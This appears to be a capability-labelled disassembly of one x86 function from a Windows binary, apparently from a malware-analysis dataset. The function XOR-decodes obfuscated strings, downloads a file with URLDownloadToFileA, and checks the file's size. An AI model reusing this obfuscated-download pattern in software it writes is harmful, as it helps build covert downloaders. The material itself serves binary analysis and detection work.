Function at 0x1000c6c0
Capabilities:
Download url
Get file size
Receive data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1004e5b8
mov eax, dword fs:[0]
push eax
sub esp, 0x548
mov eax, dword [0x1005d500]
xor eax, esp
mov dword [esp + 0x540], eax
push ebx
push esi
push edi
mov eax, dword [0x1005d500]
xor eax, esp
push eax
lea eax, [esp + 0x558]
mov dword fs:[0], eax
mov dword [esp + 0x50], vtable.SysService.0
xor ebx, ebx
mov dword [esp + 0x560], ebx
mov dword [esp + 0x54], vtable.FileService.0
mov dword [esp + 0x58], vtable.AdInfoService.0
lea edi, [esp + 0x94]
mov byte [esp + 0x560], 2
call fcn.10020810
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x3c], vtable.CodeService.0
push 0x3ff
lea eax, [esp + 0x151]
push ebx
mov byte [esp + 0x568], 5
push eax
mov byte [esp + 0x158], bl
call fcn.10037e20
add esp, 0xc
push 0x21
lea ecx, [esp + 0x150]
push 0x10053930
push ecx
call fcn.10037f30
add esp, 0xc
xor eax, eax
jmp 0x1000c790
mov edx, eax
and edx, 0x8000000f
jns 0x1000c79f
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539b0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x21
jl 0x1000c790
mov esi, 0xf
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000c7d6
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 6
call fcn.1000b1c0
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000c822
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d80
add esp, 4
push 0x1c
lea ecx, [esp + 0x150]
push 0x10053954
push ecx
call fcn.10037f30
add esp, 0xc
xor eax, eax
jmp 0x1000c840
mov edx, eax
and edx, 0x8000000f
jns 0x1000c84f
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539b0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1c
jl 0x1000c840
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000c881
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 7
call fcn.1000b1c0
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000c8cd
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d80
add esp, 4
push 0x1f
lea ecx, [esp + 0x150]
push 0x10053970
push ecx
call fcn.10037f30
add esp, 0xc
xor eax, eax
mov edx, eax
and edx, 0x8000000f
jns 0x1000c8f5
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539b0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1f
jl 0x1000c8e6
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000c927
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 8
call fcn.1000b1c0
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000c973
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d80
add esp, 4
push 0x1f
lea ecx, [esp + 0x150]
push 0x10053990
push ecx
call fcn.10037f30
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov edx, eax
and edx, 0x8000000f
jns 0x1000c99f
dec edx
or edx, 0xfffffff0
inc edx
mov cl, byte [esp + eax + 0x14c]
sub cl, al
xor cl, byte [edx + 0x100539b0]
inc eax
mov byte [esp + eax + 0x14b], cl
cmp eax, 0x1f
jl 0x1000c990
lea eax, [esp + 0x14c]
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000c9d1
sub eax, edx
push eax
lea edx, [esp + 0x150]
push edx
lea ecx, [esp + 0x64]
call fcn.100028b0
lea ecx, [esp + 0x5c]
lea edi, [esp + 0x1c]
mov byte [esp + 0x560], 9
call fcn.1000b1c0
mov byte [esp + 0x560], 5
cmp dword [esp + 0x70], 0x10
jb 0x1000ca1d
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d80
add esp, 4
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x7c]
push edx
call fcn.10018cd0
add esp, 8
lea ecx, [esp + 0x130]
mov byte [esp + 0x560], 0xa
call fcn.1002ffc0
mov esi, eax
push 0x10053a5c
lea eax, [esp + 0x7c]
push eax
lea ecx, [esp + 0xb8]
push ecx
mov byte [esp + 0x56c], 0xb
call fcn.10002410
add esp, 0xc
mov ecx, eax
lea edx, [esp + 0x5c]
push edx
mov eax, esi
mov byte [esp + 0x564], 0xc
call fcn.1000d470
add esp, 4
mov edi, eax
lea esi, [esp + 0x78]
mov byte [esp + 0x560], 0xd
call fcn.100029b0
cmp dword [esp + 0x70], 0x10
jb 0x1000caa7
mov eax, dword [esp + 0x5c]
push eax
call fcn.10032d80
add esp, 4
mov edi, 0x10
mov esi, 0xf
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
cmp dword [esp + 0xc4], edi
jb 0x1000cad6
mov ecx, dword [esp + 0xb0]
push ecx
call fcn.10032d80
add esp, 4
mov byte [esp + 0x560], 0xa
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc0], ebx
mov byte [esp + 0xb0], bl
cmp dword [esp + 0x144], edi
jb 0x1000cb0c
mov edx, dword [esp + 0x130]
push edx
call fcn.10032d80
add esp, 4
mov ecx, dword [esp + 0x94]
cmp dword [esp + 0xa8], edi
jae 0x1000cb23
lea ecx, [esp + 0x94]
mov eax, dword [esp + 0x78]
cmp dword [esp + 0x8c], edi
jae 0x1000cb34
lea eax, [esp + 0x78]
push ebx
push ebx
push ecx
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x1000cbd0
cmp dword [esp + 0x8c], edi
jb 0x1000cb5d
mov eax, dword [esp + 0x78]
push eax
call fcn.10032d80
add esp, 4
mov dword [esp + 0x8c], esi
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000cb90
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008df0
push esi
call fcn.10032d80
add esp, 4
mov edi, 0x10
cmp dword [esp + 0xa8], edi
jb 0x1000cba9
mov ecx, dword [esp + 0x94]
push ecx
call fcn.10032d80
add esp, 4
or eax, 0xffffffff
mov ecx, dword [esp + 0x558]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x540]
xor ecx, esp
call fcn.10034d1a
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x94]
cmp dword [esp + 0xa8], edi
jae 0x1000cbe7
lea eax, [esp + 0x94]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x40]
mov esi, eax
push edx
push esi
mov dword [esp + 0x48], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test al, 7
je 0x1000cc68
cmp dword [esp + 0x8c], edi
jb 0x1000cc29
mov eax, dword [esp + 0x78]
push eax
call fcn.10032d80
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000cc5b
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008df0
push esi
call fcn.10032d80
add esp, 4
cmp dword [esp + 0xa8], 0x10
jmp 0x1000cb97
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x74
mov dword [esp + 0x38], ebx
call fcn.10032d50
add esp, 4
cmp eax, ebx
je 0x1000cfbe
mov dword [esp + 0x30], eax
mov dword [eax], eax
mov eax, dword [esp + 0x30]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x30]
mov dword [eax + 8], eax
mov edx, dword [esp + 0x30]
mov byte [edx + 0x70], 1
mov eax, dword [esp + 0x30]
mov byte [eax + 0x71], 1
mov byte [esp + 0x560], 0xe
mov esi, dword [0x10061c84]
mov ecx, dword [0x10061c80]
mov edx, esi
sub edx, ecx
mov eax, 0x2aaaaaab
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
xor edi, edi
add eax, edx
je 0x1000ce1c
mov dword [esp + 0x18], ebx
add ecx, dword [esp + 0x18]
lea eax, [esp + 0xcc]
push eax
call fcn.10008a60
lea ebx, [esp + 0xcc]
lea ecx, [esp + 0x2c]
mov byte [esp + 0x560], 0xf
call fcn.1000b290
mov ecx, dword [esp + 0xcc]
push 0xffffffffffffffff
mov esi, eax
xor ebx, ebx
push ebx
lea edx, [esp + 0xd8]
mov dword [esi], ecx
push edx
lea ecx, [esi + 4]
call fcn.10002da0
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0xf4]
push eax
lea ecx, [esi + 0x20]
call fcn.10002da0
mov ecx, dword [esp + 0x108]
push 0xffffffffffffffff
mov dword [esi + 0x3c], ecx
mov edx, dword [esp + 0x110]
push ebx
lea eax, [esp + 0x118]
push eax
lea ecx, [esi + 0x44]
mov dword [esi + 0x40], edx
call fcn.10002da0
mov esi, 0x10
mov byte [esp + 0x560], 0xe
cmp dword [esp + 0x124], esi
jb 0x1000cd87
mov ecx, dword [esp + 0x110]
push ecx
call fcn.10032d80
add esp, 4
mov dword [esp + 0x124], 0xf
mov dword [esp + 0x120], ebx
mov byte [esp + 0x110], bl
cmp dword [esp + 0x100], esi
jb 0x1000cdb9
mov edx, dword [esp + 0xec]
push edx
call fcn.10032d80
add esp, 4
mov dword [esp + 0x100], 0xf
mov dword [esp + 0xfc], ebx
mov byte [esp + 0xec], bl
cmp dword [esp + 0xe4], esi
jb 0x1000cdeb
mov eax, dword [esp + 0xd0]
push eax
call fcn.10032d80
add esp, 4
mov esi, dword [0x10061c84]
mov ecx, dword [0x10061c80]
add dword [esp + 0x18], 0x60
mov edx, esi
sub edx, ecx
mov eax, 0x2aaaaaab
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc edi
add eax, edx
cmp edi, eax
jb 0x1000ccde
xor ebx, ebx
cmp ecx, esi
je 0x1000ce51
mov edx, dword [esp + 0x3c]
push edx
mov ebx, esi
mov eax, esi
call fcn.1000ed90
mov ecx, dword [0x10061c84]
mov esi, eax
mov eax, dword [esp + 0x40]
add esp, 4
push eax
push ecx
mov eax, esi
call fcn.10009210
add esp, 8
mov dword [0x10061c84], esi
xor ebx, ebx
mov eax, dword [0x100a1db4]
mov ecx, dword [0x100a1dd0]
lea edx, [esp + 0x94]
push edx
push eax
push ecx
lea edx, [esp + 0x38]
mov ecx, 0x10061c80
call fcn.10009980
cmp dword [esp + 0xa8], 0x10
mov byte [esp + 0x13], al
mov eax, dword [esp + 0x94]
jae 0x1000ce90
lea eax, [esp + 0x94]
push eax
call fcn.10036f23
add esp, 4
cmp byte [esp + 0x13], bl
jne 0x1000cf27
mov byte [esp + 0x560], 0x10
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x1c]
lea esi, [esp + 0x34]
call fcn.1000d050
mov edx, dword [esp + 0x30]
push edx
call fcn.10032d80
add esp, 4
cmp dword [esp + 0x8c], 0x10
jb 0x1000cee4
mov eax, dword [esp + 0x78]
push eax
call fcn.10032d80
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000cc5b
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008df0
push esi
call fcn.10032d80
add esp, 4
cmp dword [esp + 0xa8], 0x10
jmp 0x1000cb97
mov byte [esp + 0x560], 0x11
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x1c]
lea esi, [esp + 0x34]
call fcn.1000d050
mov edx, dword [esp + 0x30]
push edx
call fcn.10032d80
add esp, 4
cmp dword [esp + 0x8c], 0x10
jb 0x1000cf68
mov eax, dword [esp + 0x78]
push eax
call fcn.10032d80
add esp, 4
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x8c], 0xf
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp esi, ebx
je 0x1000cf9a
mov edi, dword [esp + 0x20]
mov eax, esi
call fcn.10008df0
push esi
call fcn.10032d80
add esp, 4
cmp dword [esp + 0xa8], 0x10
jb 0x1000cfb4
mov ecx, dword [esp + 0x94]
push ecx
call fcn.10032d80
add esp, 4
mov eax, 1
jmp 0x1000cbac
lea edx, [esp + 0x14]
push edx
lea ecx, [esp + 0x48]
mov dword [esp + 0x18], ebx
call fcn.10034d9f
push 0x10057548
lea eax, [esp + 0x48]
push eax
mov dword [esp + 0x4c], vtable.std::bad_alloc.0
call fcn.100377a7
int3